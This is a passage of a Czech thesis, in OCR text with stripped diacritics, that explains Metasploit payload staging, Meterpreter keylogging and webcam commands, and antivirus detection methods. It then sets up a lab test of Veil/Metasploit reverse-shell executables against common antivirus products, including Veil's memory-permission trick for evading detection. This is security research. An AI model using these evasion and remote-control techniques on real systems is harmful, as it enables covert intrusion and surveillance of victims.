e getuid - zobrazi uZivatele, pod kterym bézi Meterpreter

e webcam_snap - poridi snimek zptipojené kamery a uloZi ho na server
Meterpreteru

e Kkeyscan_start a keyscan_stop - zapne/vypne zachytavani stiski klaves
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3.4.4 Payload

Je typ exploit modulu. Metasploit framework jej déli na 3 zakladni typy, které

oznacuji, jak velké mnoZstvi kddu je distribuovano na cilové zatizeni:

1) Singles
a. Jednoduchy kéd, ktery vykona svou akci a je smazan
b. Samostatny balicek
2) Stagers
a. Jsou navrzeny pro navazani komunikace se vzdalenym serverem, kde
ziskaji dalsi kod ke spusténi
b. Staraji se i o zavedeni stazeného kdédu (Stages) do paméti a jeho
spusténi
3) Stages
a. Je kod ziskany od serveru pomoci Stager
b. Mohou byt velké a poskytuji nejvétsi volnost pri praci s cilovym

zarizenim

Uzivatel frameworku Metasploit, nebo Veil pozna Singles od Stagers podle

poctu lomitek v nazvu payloadu:

e Single
o <platforma>/[architektura]/<single>
o Naprt. windows/x64/shell_reverse_tcp
e Stagers
o <platforma>/[architektura]/<stage>/<stager>
o windows/x64/shell/reverse_tcp

Tato metodika rozpoznani Single od Stagers, ale neni vZdy piesna. Jednodussi

je se podivat do sloZzek Metasploit frameworku, kde jsou sloZky rozdélené spravné:

e metasploit-framework/modules/payloads/

e metasploit-framework/modules/payloads/singles/
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e metasploit-framework/modules/payloads/stagers/

e metasploit-framework/modules/payloads/stages/

Vsechny priklady payloads, které navazuji spojeni se serverem, jsou na strané
serveru zachytavany pomoci jednoho multi handleru. Tento modul zachyti jakékoliv

spojeni bez ohledu na architekturu a typ spojeni.
e use multi/handler

Singles jsou uceleny balicek, ktery ma veskery potfebny kéd pro samostatny
béh. Je mozZné je zachytavat misto handlerem na strané Metasploit frameworku

napfriklad pomoci netcat.

3.5 Antivirové programy

Antivirové programy jsou dnes pritomny na velké vétSiné osobnich a
firemnich pocitacich. Na operacnim systému Windows jich existuje cela rada, z nich
jsou nejpouzivanéjSi Avast, Eset a McAfee. Jejich zastoupeni je znazornéno na
Obrazku 15 - Zastoupeni antiviri na svétovém trhu. V mnoha prizkumech neni

zastoupen Windows Defender Antivirus, ktery je na vSech zatizenich s Windows 10.

= Avast = Eset McAfee
® Avira GmbH = Safer-networking Ltd. Malwarebytes Corporation
= Webroot Inc = Qihu 360 Software Co., Ltd. = Kaspersky

Obrazek 15 - Zastoupeni antiviri na svétovém trhu, zpracovano dle (Metadefender, no date)
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3.5.1 Obecné fungovani antivirovych programu

Antivirova reSeni od rdaznych vyvojart poskytuji rozdilny set ochrannych
metodik a nastrojii napr. Norton poskytuje ochranu na zakladé reputace, kterad
klasifikuje neznamé programy na zakladé jejich reputace dle Symantec komunity
(Sukwong, Kim and Hoe, 2011).

Vétsina detekcnich nastrojl at ve statickém (porovnavani s existujici databazi)
vyhledavani, nebo ve vyhledavani na zikladé samoucicich se algoritmi vyuziva

signatury souboru (signature-based detection).

502

Spusténi verifikatniho
modulu

Je podepsan

divéryhodnym
vydavatelem?

510 v

506 v
SHA-1 hash obsahu | Vytvoreni signatury Povolit
souboru souboru pouzivani

Je signatura jiz v
databazi?

Konec

514 v

Zakazat
pouzivani

Konec

Obrazek 16 - Proces ovéreni Skodlivosti souboru
zpracovano dle (Everett, Gardner and Meade, 2008)

Procesem rozpoznavani Skodlivého souboru na zakladé kontroly signatury se
zabyva napriklad patent US8087086 B1 (Everett, Gardner and Meade, 2008). Na

Obrazku 16 - Proces ovéreni Skodlivosti souboru je zndzornén postup chovani
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antiviru, ktery identifikoval soubor jako S$kodlivy, ucelem tohoto algoritmu je
minimalizovat false-positives.

Verifikatni modul nejdifive zkontroluje, zda je soubor podepsany
divéryhodnym certifikitem, pokud je, soubor je oznacen jako ,v poiradku“. Pokud
neni, vytvori se jeho signatura. Vtomto patentu je signatura SHA-1 hash obsahu
souboru, ktery je v binarnim zapisu. V dalSim kroku je tato signatura porovnana
s databazi signatur (white list), neni-li nalezena shoda, je soubor uzavien do
karantény, je tedy vyvraceno false-positives.

RozliSovani nebezpecnych souborli od bezpecnych na zakladé porovnani
signatury je moZné provést ihned, kdy je soubor dopraven do prostoru opera¢niho
systému. Tento proces muze selhat, pokud je UspéSné pouzita néktera z technik
vyhybani se antivirovym detektoriim (av evasion).

V ptipadé, kdy vyhledavani na zakladé signatury neni dostatecné, je vyuZito
hledani na zakladé chovani (behavior-based detection). Tato metodika mize byt
uspésna pri reagovani na nové hrozby, diky jeji dynamice vyhledavani a skenovani
skutecnych aktivit programu. Na druhou stranu jeji nevyhody jsou vyssi procento
false-positives a zvySena zatéz operacniho systému a jeho zdroju.

Na zakladé studie (Sukwong, Kim and Hoe, 2011) neni behavioralni detekce
schopna dostatecné pruzné reagovat na nové hrozby. Tato studie se zamérila na
nékolik oblasti, kde se miize nalézat nebezpecny program v prostiedi operac¢niho

systému:

- Soubory
o Malware obcas zanechava na disku pocitace soubory, které se mohou
spustit po restartovani operacniho systému sndzvy jako napf.
Installer.exe, nebo AV.exe.
o Tyto soubory by mél byt schopen AV program nalézt a provést nutné
operace k ociSténi systému.
o Dle vysledki studie béhem prvniho dne od vytvoreni téchto souborti az

43 % z nich neni nalezena po doruceni do prostoru OS.
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- Registry

- Pameét

- Sit

3.5.2 Avast

o Zména hodnot registri miiZze ovlivnit Sirokou S$kalu programi a

nastaveni operac¢niho systému v¢. zabezpeceni

Dle studie antivirové programy obsahujici behavioralni detekci hrozeb
detekuji zmény ve znamych registrech napr. automatické spousténi
aplikaci po startu systému, nebo zablokovani notifikaci o vypnuti

ochrany firewall.

o Utoky c¢asto vyuzivaji chyb vprogramech, aby se dostaly do

pamétového bloku. Zde mohou manipulovat s programem a vykonavat
nebezpecné akce jako stahovani dalSich nebezpecnych soubort
z internetu.

Chyby v programech jsou jednémi z nejvétsich rizik, protoZe je nelze

piedpokladat a vyvoj reakce ¢asto zacCina az po jejich objevent.

Sitové pripojeni nabizi moZnost, jak miZe nebezpelny program
komunikovat se vzdalenym hostem a nabizi dalsi zpasoby distribuce
nebezpecnych soubori.

Za nejcCastéjSi hrozby jsou povaZovany chyby v internetovych

v/

prohliZze¢ich a prilohy e-mailG. Nékteré antivirové programy nabizi
plugin do web. prohliZece a skener emaild.

Dal$im zptlisobem, jak chrani antivirové programy proti hrozbam ze
sité, jsou vlastni reSeni firewallu, kde kontroluji, jak prichozi, tak
odchozi komunikaci a mohou prerusit akci nebezpecnych soubori.
Napt. Kaspersky dle studie dokazal zastavit az 75 % prenost

nebezpecnych soubori, na druhou stranu Avast zadné.

Avast Free antivirus je jednou z nejcastéjsich voleb uzivatelli, poskytuje dobré

vysledky v oblastech bezpecnosti i uZivatelské oblibenosti. UmoZiuje pouZivani
modulti, které uzivatel mlze dle libosti vypinat, nebo zapinat. Ve verzi Free jsou

k dispozici napt. sitovy sken, spravce hesel, nebo plugin pro bezpecné pouZivani
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webu. Virus bulletin ho mnohokrat ocenil za spolehlivost a bezpecnost, stejné tak i
AVTest a Av Comparatives ho oznacil za antivirus s nejniZ$im dopadem na vykon
pocitace. Na Obrazku 17 - Avast Real Word Protection Test je vidét hodnoceni

Y4

sumarizacniho testu ze zari 2017, kde dosahl 99.4% tuspésnosti pri nalézani chyb.

Real-World Protection Test — September 2017

— =

Avast
Blocked: 99.4%

Obrazek 17 - Avast Real Word Protection Test zdroj (av-comparatives, 2017)

Jak presné funguje hledani nebezpecnych programa v podani Avast je tézké
dohledat. Dle (Avast, 2016) je kazdy podeziely soubor odeslan do cloudového
systému CyberCapture, ktery ho otestuje a poté vrati uzivateli vysledek ,bezpecény*,
nebo ,nebezpecny“. Vyhodou tohoto systému je aktudlnost virovych databazi a
minimalni dopad na vykon systému. Kazdy den projde pres tento skener pres
600 000 soubori a skoro polovina z nich je zatim nezndma.

Neznamé soubory jsou odeslany na dalsi prezkoumani, kde se automatiza¢ni
nastroje snazi prolomit jejich kédovani, CyberCapture dokadze analyzovat machine
kod a zjistit jaké instrukce procesoru jsou zde pouZité. V pripadé nutnosti musi kod

analyzovat analytik z oddéleni Avast Threat Labs.
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7 v

Jednou ze zakladnich technik hledani Skodlivého kédu je pomoci databaze
znamych signatur, Avast ji pojmenoval jako FileRep.

Proces hledani Skodlivého software popsal také Ondrej Vicek, viceprezident
Avast ve své publikaci (Ondrej Vicek, 2016). Poté, kdy je podezriely soubor prenesen
do systému CyberCapture je vystaven nékolika testiim, z nichz zdkladnim je analyza
binarniho kédu.

Analyza binarniho kédu provadi Similitarity check (kontrola podobnosti) a
behavioralni test souboru, ktery bézi ve virtualizovaném prostredi a monitoruje jeho
chovani jako manipulace s registry, operace se soubory a paméti. Drive byl tento test
provadén na zarizeni uZivatele jako soucast Deep Scan (celkového skenu pocitace),
ale nebylo ho mozZné unifikovat na vSechny typy prostredi, také zabiral mnoho ¢asu a
vykonu pocitace. Behaviordlni test je provadén pomoci proprietarni NG technologie
(ozndmena Avastem v roce 2014).

V roce 2012 spustil Avast novy projekt Metadata Extraction (dale MDE), coz je
v podstaté velka databaze, kterd bézi celda v operacni paméti. Tato databaze, kromé
uchovavani informaci o nalezenych Skodlivych souborech, dokaZze urcit shodnost
mezi dvéma soubory a byla specialné vytvorena za ucelem hledani skodlivych
soubort.

Dalsi technologii je Evo-Gen, evoluc¢ni algoritmus, ktery se uci rozeznavat nové,
jeSté nepotvrzené hrozby. Je efektivni zejména pri analyze miliéni (nékdy i desitek
milionti) soubort najednou. Tento software se dokdze naucit rozeznavat konkrétni
vir vjeho riiznych podobach. Na zakladé Evo-Gen vznikl systém Symzilla, ktery
dokaze spocitat rozdilnost dvou souborti a automaticky rozhodne, zda pravé
testovany soubor je skodlivy.

Databaze signatur je distribuovand na uZivatelska zatizeni a je pouzita pfri
offline testech. Je specialné uZite¢na, protoze skenovani nezhlcuje cloudové reSeni pri
dotazovani na whitelist aplikaci, ktery neni ménén tak ¢asto. Na uZivatelském zarizeni
je mozné vyuZivat nastroje pro behavioralni test, skenovani paméti, nebo extrakci

metadat aplikaci.
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3.5.3 Kaspersky Lab

Kaspersky Lab dle magazinu PC mag (Rubenking J. Neil, 2017) ma nejlepsi
hodnocenti z testl jako Firewall, antiphising, ochrana macOS a Android.

Algoritmt pro hledani nebezpec¢ného kdédu s vyuzitim cloudovych sluzeb je
hned nékolik popsano v patentu US 8,875,294 B2, kterého vyuZziva Kaspersky Lab.
Nasledujici text popisuje vybranou cast tohoto patentu (Golavanov, 2014).

Na Obrazku 18 - Skenovani podezielého procesu zpracovano dle (Golavanov,
2014) je znazornén proces testovani podezrelého procesu antivirovym programem.
Zajimavy je postup od kroku 205, kdy je podezrely program odeslany na server
k dalsi analyze. Od kroku 206 je provadéno hledani volani API, kterd mohou vést
k nebezpetnym cinnostem, dale je provedena jejich kontextudlni analyza, kdy je
mozné vyhodnotit, zda dand kombinace volani mize byt nebezpecna, a nakonec je
vytvorena signatura programu pro pristi skenovani (vzor pro podobné programy).
V pripadé pouziti metody, ktera infikuje cizi proces, napt. do néj vlozi svou knihovnu,
je zajimava hlavné ¢ast obrazku od kroku 212, kdy antivirovy program prohledava
pamét celého systému, kviili moZnosti rozsireni podezielého kédu, a nakonec je
provérena i pamét napadeného procesu. Kromé samotného hledani na strané obéti je
program zasilan (jako checksum, nebo cely) k analyze do cloudového centra. Autor
prace se domniva, Ze podobny pribéh hledani skodlivého kédu a jeho vyhodnoceni

vyuzivaji i jiné antivirové programy neZ Kaspersky napf. Avast.
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201

Detekce podezielého
procesu

Hledani programu, ktery
vytvoril proces

Identifikace kodu, ktery Odeslani kontrolniho
infikoval proces souctu programu na doud

Hledani programu, ktery Hledani programu v
infikoval proces cloudové databazi

Skenovanf( systémové PoZadavek na odeslani
paméti po namkach L souboru programu na
infekce cloud (P2P)

Analyza sekvence
skodlivych volani API

Analyza programu, ktery
provadi sekvenci
Skodlivych volani API

Hledani procesu jehoz
pamét’ byla infikovana

Vytvoreni signatury kédu
programu

Odeslani blokujiciho
signalu klientovi

Obrazek 18 - Skenovani podezicelého procesu
zpracovano dle (Golavanov, 2014)

V tomto patentu (Golavanov, 2014) se naléza i Tabulka 3 - metody hledani
Skodlivého kddu, ktera shrnuje druhy detekci skodlivého kédu a v jednoduchosti je

popisuje. Autor prace tuto tabulku volné pielozil.
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Tabulka 3 - metody hledani Skodlivého kédu
Analyzujici moduly Objekty Metody detekce

Binarni porovnani signatury programu se
Signature skener Soubor signaturami v databazi (whitelist a
blacklist souborti)
Porovnani volani API programu s témi,
Proces ktera jsou uloZena v databazi
(whitelist a blacklist procesti)

Behaviour analyzer
(analyza chovani)

Emulace spusténi skriptu, ktery je ziskany
Script emulator Prenos dat z internetu a nasledné porovnani volani
(emulace skriptu) pomoci http API s databazi

(whitelist a blacklist webovych skriptti)
Executable file

emulator Spustitelny Porovnani volani API funkci s databazi
(emulace spustitelného | soubor signatur chovani.
souboru)

Porovnani kontrolniho souctu programu
Checksum analyzer Soubor s databazi kontrolnich souctt
(whitelist a blacklist kontrolnich souctti)
Adresa sitového | Porovnani adresy v siti s databazi adres

Network add filt
ctwork address frter zdroje (whitelist a blacklist sitovych adres)

Umeéla inteligence miiZe slouzit jako vhodny klasifikator kédu. Princip hledani
pridaného skodlivého kédu do ,cisté” aplikace pomoci umélé inteligence zahrnuje

tyto kroky:

1) Definovani bezpecénych radka kédu (pary znakii)
2) Vytvoreni matematického modelu, ktery reprezentuje , Cisty” kéd
a. Napriklad pomoci matematické metody Gradien boosting, kterd se
zabyva klasifikaci problému
3) Porovnani vybraného kédu s matematickym modelem a vyhodnoceni

procentualni rozdilnosti jako ,Skodlivé“, nebo ,bezpecné“.

(Malanov, 2016)

Nevyhod hledani Skodlivého kédu pomoci strojového uceni je hned nékolik:

1) False positives
2) Skodlivy kéd zapada do ,¢istého“ modelu (Model bypass)

3) Zastaralost modelu
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Autor prace by se rad tomuto a dalsim podobnym tématlim vénoval i v dalSich
svych pracich.

Antiviry Kaspersky jsou jednémi znejuznavanéjSich antivirti zhlediska
bezpecnosti, které pouzivaji i vlady nékolika stati. Dle The Wall Street Journal byl
tento antivirovy program pouzit pro hackersky utok, jehoz cilem byla kradez tajnych
NSA materiald. Jak je vidét z Obrazku 18 - Skenovani podezielého procesu. Kaspersky
antivirus zasila casti, nebo celé soubory pro skenovani do své cludové sluzby. Tato
komunikace je zabezpeCend, pomoci SSL. Nicméné pokud se povede utocnikovi data
rozSifrovat, mize k nim ziskat pristup bez notifikovani klienta ¢i serveru (Lubold and

Shane, 2017).

3.5.4 Eset

Dle Pc mag (Rubenkin J., 2017) mé Eset vSeobecné dobré hodnoceni ve vétsiné
testli, zejména je velmi dobie hodnocena jeho vlastnost vyhledavani malware, ktera
cili na firmware - UEFI skener, nebo HIPS komponenta, ktera skenuje béZici procesy a

sitovou komunikaci.

HIPS je pokrocily monitorovaci a detek¢ni proces, ktery se sklada z nékolika ¢asti:

- Protected Service
o Zavadi ochranu kernelu
o Dostupny pouze pro Windows 8.1 a 10
- Pokrocily sken paméti
o Pracuje vkombinaci s Exploit Blocker, ktery je navrzen pro odhaleni
vird, které se snazi vyhnout detekci pomoci Sifrovani, nebo maskovani
o Je navrZen tak, aby fungoval ve chvili, kdy béZna heuristickd analyza,
nebo emulace v chranéném prostredi selze
o Skenuje zejména operacni pamét systému, na rozdil od Exploit Blocker
dokaZze zachytit nebezpecfny kod az po jeho provedeni
- Exploit Blocker
o Zabezpecuje nejbéznéji pouZzivané aplikace, jakymi jsou napriklad

webovy, nebo PDF prohlizec
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- Anti-Ransomware Protection
o Monitoruje vSechny aplikace, které pracuji s ulozenymi daty (ochrana

proti ransomware)

(Host-based Intrusion Prevention System (HIPS), no date)

Unified Extensible Firmware Interface (dale jen UEFI) je Cast softwarového
vybaveni pocitace, ktera zajistuje zakladni konfiguraci zakladni desky a komponent
na ni pripojenych. UEFI stejné jako jakykoliv jiny software mize byt napaden
kybernetickymi hrozbami, naptiklad utok sucelem ziskani neautorizovaného
piistupu k systému, nebo k chranénym informacim. Vyvoj UEFI vychazi z EFI od
spolecnosti Intel, ktera jej vytvorila pro dnes jiZ nepodporované Intel Itanium, EFI
bylo uvolnéno pro dalsi vyvoj jako UEFI, coZ je predevSim set navrhi, jak by mélo
fungovat. Kone¢né UEFI si kazdy vyrobce zakladnich desek podle téchto Sablon
(guidelines) vytvari podle sebe.

UEFI skener se snazi o minimalizaci hrozeb pfi spousténi pocitace jesté
piedtim, neZ se spusti operacni systém. Nékteré metody dtokli na UEFI jsou mifené
na primy zapis do UEFI Serial Peripheral Interface (dale SPI), kde se nachazi
divéryhodné knihovny potiebné pro uspésné spusténi pocitace. Nékteri vyrobci
vkladaji do SPI vlastni knihovny, to ztéZuje detekci potenciondlné nebezpecného
kédu.

Bootkits tedy nebezpecné programy, které cili na bootovaci proces pocitace,
mohou utocit riznymi zplGsoby napf. manipulace s SPI, pomoci servisntho mddu
(recovery device), firmware upgrade, nebo vyuziti existujicich chyb v UEFIL. Velmi
znamou nakazou BIOS se stala DEITYBOUNCE, kterou vynesl zdokumentovanou
Snowden, jedna se o nabourani do DELL servert, kde je pri bootovani opakované
spoustén podsunuty kod. Tento kod je na cilové zarizeni dopraven pomoci
vzdaleného pristupu a nastroj ARKSTREAM je pouZit pro flashovani BIOS, kam je
implementovana nakaza. (Salihun Darmawan, 2014)

Vsamotném BIOS, nebo EUFI se jiZz mohou nachazet nastroje zvySujici
bezpecnost napriklad Intel Boot Guard Technology. UzZivatel si také miiZe nainstalovat

vlastni nastroje pro forenzni analyzu firmware. Takovym nastrojem je CHIPSEC. Vice
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o Intel Guard Technology a potencionalnich hrozbach popsal Vincent Zimmer ve své
prezentaci Developing Best-In-Class Security Principles with Open Source Firmware
(Zimmer, no date). Na Obrazku 19 - Intel Device Protection Technology with Boot

Guard je znazornén proces kontroly ve fazich spousténi pocitace.

CPU Zacinajici blok PEI BIOS DXE/UEFI OS loader/kernel
el (Pre-EFI Initialization) (Drive Exexution Environment) o3V
OEM OEM

Intel© Boot Guard Spustitelny soubor Spustitelny soubor S SpUSstitelny soubor

Vyhodnoceni Vyhodnoceni Vyhodnoceni
bezpecnostnich politik bezpecnostnich politik bezpecénostnich politik

Bezpecnostni Bezpecnostni Bezpecnostni
politiky politiky politiky

Obrazek 19 - Intel Device Protection Technology with Boot Guard (Zimmer, no date)

Autorovi prace se nepodarilo ziskat vice informaci o UEFI skeneru, ktery
pouziva ESET. Misto toho se vice vénoval praci Zimmera (Zimmer and Rothman,
2003), ktery vramci nékolika patentd vytvoril pro Intel Pre-boot firmware based
virus scanner, jehoz zjednoduseny pribéh je vidét na Obrazku 20 - Zakladni proces

pre-boot skenu
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Resetovan( systému

Inicializace firmware

120

Vybér databaze vird

I‘ I< I

130 v

Skenovani souboru
béhem Pre-Boot
nacitani

150

Neobsahuje virus Status. Neni mozné vydistit
skenovaného

souboru

MoZné vy Gistit

170 180

Vycisténl souboru a Provedeni altemativnf

jeho nacteni

190 i
Boot operacniho
systému

Obrazek 20 - Zakladni proces pre-boot skenu (Zimmer and Rothman, 2003)

Nacteni souboru
akce

Na zakladé tohoto patentu (Zimmer and Rothman, 2003) je vypracovan
nasledujici text.

Typicky je moZné rozdélit prostiedi, ve kterych pocita¢ vykonava operace na
runtime a pre-boot. Vétsina antivirovych programi vyhledava viry, které se spoustéji
v runtime pocitace, nejvice antivirovych nastroji je proto také urcena pro ¢innost v
runtime. Bloky s ¢isli 110, 120, 130 a 140 viz Obrazek 20 - Zakladni proces pre-boot
skenu (Zimmer and Rothman, 2003) porovnavaji dany kod se schématem ziskanym
od Trusted Computing Group (dale TCG), ktera vydava hlavni specifikace pro
yvérohodny“ kéd. Blok 110 je zakladni inicializace hardware jako je kontrola

pripojenych zarizeni, POST a hledani veSkerych zatizeni, které dokazi komunikovat

s UEFIL. Blok 120 znazornuje akci, kdy je vybrana vhodna databaze virg, lokace této
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databaze muze byt na vice umisténich napt. firmware, nebo sitové ulozisté. Na
zakladé specifikace EFI je moZné vtomto prostiedi spoustét programy s validni
Portable Execution (PE) hlavickou, tyto programy mohou byt napriklad EFI driver
files (soubory ovladaci pro EFI), vSechny tyto programy jsou skenovany pro
pripadnou nakazu.

Samotné chovani skeneru miiZe byt urceno pomoci virus-scan matice, nebo
pomoci konfiguracniho souboru. Konfigura¢ni soubor muize nastavit sken pro Master
Boot Record (dale MBR) souborového systému, datové typy, pristupové metody
k tlozisti dat, nebo vynuceni skenu souborl uloZenych do volatilni paméti a
skenovani souborii predtim, nez dosdhnou runtime prostiedi. Soubory, které jsou
podepsané certifika¢ni organizaci i soubory, které maji self-signed certifikat jsou
skenovany. Vyjimku tvoii pouze certifikdty od Trusted Computing Platform
Association.

Blok 150 zjiStuje stav souboru, autor se zde rozhodl popsat pouze stav
»Cleanable“, protoZe stav ,Not cleanable“ ma velmi podobny priibéh a stav ,No Virus“
neni nutné vice rozepisovat.

Zakladem akce pro zjisténi, zda je soubor nakaZeny, nebo se jedna o samotny
vir je virus-scan matice, ta obsahuje schéma kdédu a akci, kterou je nutné provést po
nalezeni shody. Bud’ je moZné dany soubor ocistit, dle postupu uvedeného v matici,

nebo je dle této matice provedena alternativni akce.
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4 Penetracni test

Cilem testu je zjistit, jak obstoji béZné dostupna antivirova ochrana proti open
source frameworkiim pro penetracni testovani Metasploit a Veil. Pomoci téchto
frameworkl je vytvoren zakladni set spustitelnych soubort, ktera maji za ukol se

pripojit ke vzdalenému hostu a umoznit vzdalené ovladani pocitace timto hostem.

4.1 Testovaci prostredi

Hardwarova konfigurace hosta, na kterém jsou oba systémy virtualizovany, je
vyznacena v Tabulce 4 - Host HW.
Tabulka 4 - Host HW

Komponenta Oznaceni

Operacni systém Windows 10
CPU Intel Core i7-6500U
Ram 8 GB
HDD Samsung 850 Evo

Systém Windows 10 a Kali Linux jsou virtualizované pomoci Oracle VirtualBox
ve verzi 5.2.6, oba systémy maji nainstalované VirtualBox ExtensionPack. V Tabulce 5
- Konfigurace OS jsou dostupné zdkladni informace o operacnich systémech z pohledu

virtualizace.

Tabulka 5 - Konfigurace 0OS
Komponenta Kali Linux Windows 10 Dalsi informace

Virtual Network adapter

41 169.254.210.161 169.254.210.162 Mistni lokalni sit
Virtual Network adapter Pripojeni k internetu
Sitovy most Sitovy most

#2

1709 Win 10 Fall Creators
Verze 4.9.0-kali3

16299.309 Update

RAM 1,95 GB 1,95 GB DDR3
Pridéleni CPU 2 jadra 3 jadra Omezeni CPU 100%
Pristup k HW Plny Plny Prima komunikace s HW
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V operacnim systému Kali Linux byly pro splnéni ucelu praktické c¢asti prace
vyuzity zejména programy v Tabulce 6 - Programy Kali Linux, které umoZnily

vytvareni a obsluhu vygenerovanych payloads.

Tabulka 6 - Programy Kali Linux
Program Verze ‘

Metasploit 4.16.40-dev
Veil 3.14

Operacni systém Windows 10 byl plné aktualizovan a poté byly vytvoreny jeho
snimky pro kazdy testovany antivir, tim bylo docileno zachovani testovaného
prostredi v ramci celého testu. VSechny testy byly provedeny s verzemi antivirovych
reSeni, které jsou k nahlédnuti v Tabulce 7 - Pouzité antivirové programy, u Zadného

z nich nedoslo béhem testu k aktualizaci.

Tabulka 7 - Pouzité antivirové program
Antivirovy program Licence Verze ‘

Windows Defender V ramci Windows 10 4.12.17007.18022
Avast Free Antivirus Free 18.2.2328
AVG Antivirus free Free 18.2.3046
Eset Nod32 Antivirus Trial 11.1.42.0
Kaspersky Anti-Virus Trial 18.0.0.405
Kaspersky Internet security Trial 18.0.0.405
Kaspersky Total security Trial 18.0.0.405

Vybér antivirovych reSeni byl uskute¢nén na zakladé jejich procentudlniho
zastoupeni na trhu a jejich reputace.

Z pohledu sité jsou oba virtualizovani hosti na stejné siti pripojeni pres
virtualizované prostiedi interni sité, kdy jsou oba viditelni jen mezi sebou. Oba hosti
maji ptistup k internetu pomoci sitového mostu, ten je vyuzit k zajiStén{ aktualizaci a
vyuziti vSech mozZnosti antivirovych reseni. Vramci interni sité jsou provadény
véechny dil¢i testy. U¢elem nebylo vytvorit komplexni firemni sit’ s jeji kompletni
konfiguraci, ale pouze otestovat samotné payloads. Nicméné tato sit miize fungovat

napr. na domaci wifi. Pro funkénost modelu staci, aby bylo mozné komunikovat mezi
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obéma hosty. Meterpreter je navrZen tak, aby se uto¢nik mohl nachazet na vzdalené

siti a obét se k nému mohla pripojit jako naprt. ke vzdalenému webovému serveru.

4.2 Pripojeni ke vzdalenemu hostu

Cilem nasledujiciho testu je pomoci programii Metasploit a Veil vytvorit
spustitelny soubor, doruéit jej a spustit na cilovém zatizeni. U¢elem testu je vyzkouset
schopnost detekce takového souboru nasledujicimi antivirovymi programy a
otestovani jeho funk¢nosti.

V Tabulce 7 - PouZité antivirové programy jsou vypsany vSechny pouzité
antivirové programy. Prvnim krokem testu je otestovani sady spustitelnych soubort
na operacnim systému Windows 10 se zapnutym antivirovym feSenim Windows
Defender. V dalSich testech je Windows Defender vZdy pritomen a zapnuty, pracuje se
tedy pouze se spustitelnymi soubory, které prosly jeho testem.

Vsechna testovani jsou provedena pii zakladnim nastaveni antiviri a pocitac

obéti ma neustaly pristup k internetu.

Postup testovani:

1) Vytvoreni zadkladniho setu spustitelnych soubort
2) VyzkouSeni funkénosti - navazani spojeni se vzdalenym hostem a komunikace
pomoci meterpreter
3) Na pocitaci obéti povolit Windows Defender a vSechny jeho funkce. Spustit
vSechny spustitelné soubory a zaznamenat reakce antiviru
4) Vytvorit seznam soubort, které prosly testem a s timto seznamem pracovat
v dalSich testech
5) Naidentickém hostu obéti nainstalovat vybrany antivirus.
a. Umistit cely set spustitelnych soubori na sitovou slozku
b. Pockat, pokud antivir zahaji sken
c. Spustit kazdy soubor zvlast a zaznamenat reakce antiviru
6) Vypracovat seznam soubori, které prosly testy a popsat vSechna nestandardni

chovani antivirovych reSeni
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4.2.1 Priprava spustitelnych souboru

Vsechny spustitelné soubory, které jsou doruceny na zarizeni obéti, navazuji
komunikaci s uto¢nikem pomoci protokolii tcp, http, nebo https.

Rozdily v souborech jsou nasledujici:

- program, ktery je vytvoril -> Metasploit/Veil
- programovaci jazyk, ve kterém jsou napsané

- Sifrovani a dalsi rozSirujici atributy

V programu Veil je dostupnych 41 paylods, které je mozné vygenerovat, ale
pouze nékteré vytvareji reverzni pripojeni ke vzdalenému hostu. Autor prace se
rozhodl v tomto testu vyzkouSet vSechny, které navazuji reverzni spojeni s hostem,
kde komunikuji s meterpreter.

Vsechny spustitelné soubory navazuji reverzni spojeni s uto¢nikem, ktery se
naléza na stejné siti, viz Tabulka 8 - Informace o hostech. Na strané utoc¢nika na portu
80 nasloucha sluzba mutli/handler, ktera ocekava vzdy specificky payload, tedy ten,

se kterym byl spustitelny soubor, jenzZ navazuje spojeni, vygenerovan.

Tabulka 8 - Informace o hostech

Host IP adresa Komunikac¢ni port
Utoénik - Kali Linux 169.254.210.161 80 - nasloucha
Obét - Windows 10 169.254.210.162 Napft. 5022 pro TCP

Od verze Veil 1.0 vyuZzival Veil framework pro injekci kddu do paméti RWX
opravnéni uz od pocatecni alokace, tato metoda se zménila ve verzi 3.1.

Shrnuti postupu do verze 3.1:

1) Alokace paméti s RWX (read, write, execute) opravnénim - zde uZ mohly
antivirové programy detekovat nezvyklou ¢innost
a. 0x40 - je parametr VirtualAlloc() pro RWX opravnéni
2) Zapsani spustitelného kddu do paméti
3) Vytvoreni nového vlakna a spusténi spustitelného kédu
4) Cekani na dokonceni ¢innosti spustitelného kédu napt. ukonéeni spojeni

S meterpreter
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Novy postup od verze 3.1:

1) Alokace paméti s RW (read, write) opravnénim - z pohledu antivirového
reSeni se jedna o standardni postup programu
o 0x04 - je parametr VirtualAlloc() pro RW opravnéni

2) Zapsani spustitelného kédu do paméti

3) Pomoci VirtualProtect (WinAPI) zména opravnéni paméti na RX (read,
execute)

4) Vytvoreni nového vlakna a spuSténi spustitelného kédu

5) Cekani na dokonceni &innosti spustitelného kédu napt. ukonéeni spojeni

S meterpreter

(zitstifzitstif, 2017)

Metodam pro vkladani a spousténi kédu se autor prace vénoval v kapitolach
3.2.4 Inject do paméti ciziho procesu a 3.2.5 Umisténi kddu do operacni paméti a
nasledné spusténi.

Vtéto praci jsou pomoci Veil frameworku vygenerované soubory, které
vkladaji a nasledné spousti stager payloadu meterpreter. Tedy stdhnou z cilové IP
adresy .dll knihovnu, kterou spusti. Vice v kapitole 3.4.3 Meterpreter.

Postup ¢innosti kaZzdého spustitelného souboru v kratkosti:

1) Zavedeni spustitelného kédu do paméti
a. Spustitelnym kédem je stager meterpreteru
2) Stager navaze spojeni se vzdalenym hostem dle konfigurace
3) Stager stahne dodate¢né knihovny pro vzdalené ovladani hosta a spusti je. Tim

je umoznéno vzdalené ovladani pocitace obéti a navazano meterpreter session

Priloha 9.9 Ukazka vytvoreni payload ve frameworku Veil ukazuje, jak je
vytvoren soubor pro reverzni http pripojeni v programovacim jazyku C# vc.

konfigurace pripojeni.
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Vsechny spustitelné soubory byly doruceny na sitovou slozku, ke které ma
pristup pocitac¢ obéti, na tomto pocitaci neni nainstalovdna Zadna antivirova ochrana
treti strany a Windows Defender ma zablokovanou ¢innost.

Cilem potvrzeni funk¢nosti téchto programii je navazani spojeni s ito¢nikem a
vyzkouSeni vzdalené komunikace s obéti pomoci prikazu shell, ktery spusti prikazovy
radek na pocitaci obéti.

Tabulka 9 - Veil vygenerované soubory shrnuje potvrzeni funkcnosti
spustitelnych souborti, které jsou vytvorené pomoci Veil framework. Jak bylo
zminéno na zacatku kapitoly, tyto soubory se 1isi pouze v programovacim jazyku, do
kterého byl vygenerovany payload, v ramci tohoto jazyka zkompilovany vysledny .exe
soubor a komunika¢nim protokolem. Vyjimecné Veil framework umoznil pouziti

dalsich rozsiteni jako napt. ARYA crypter.

Tabulka 9 - Veil vygenerované soubory

